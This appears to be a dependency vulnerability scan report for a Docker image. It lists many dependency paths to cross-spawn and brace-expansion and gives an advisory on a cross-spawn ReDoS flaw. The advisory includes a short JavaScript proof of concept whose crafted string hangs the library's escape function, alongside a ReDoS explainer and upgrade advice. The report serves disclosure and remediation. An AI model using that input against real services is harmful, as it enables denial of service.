  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
        var str = "";
        for (var i = 0; i < 1000000; i++) {
          str += "\\";
        }
        str += "◎";
        
        console.log("start")
        argument(str)
        console.log("end")
        
        // run `npm install cross-spawn` and `node attack.js` 
        // then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
        0.04s user 0.01s system 95% cpu 0.052 total
        
        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
        1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

More about this vulnerability

Infinite loop

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
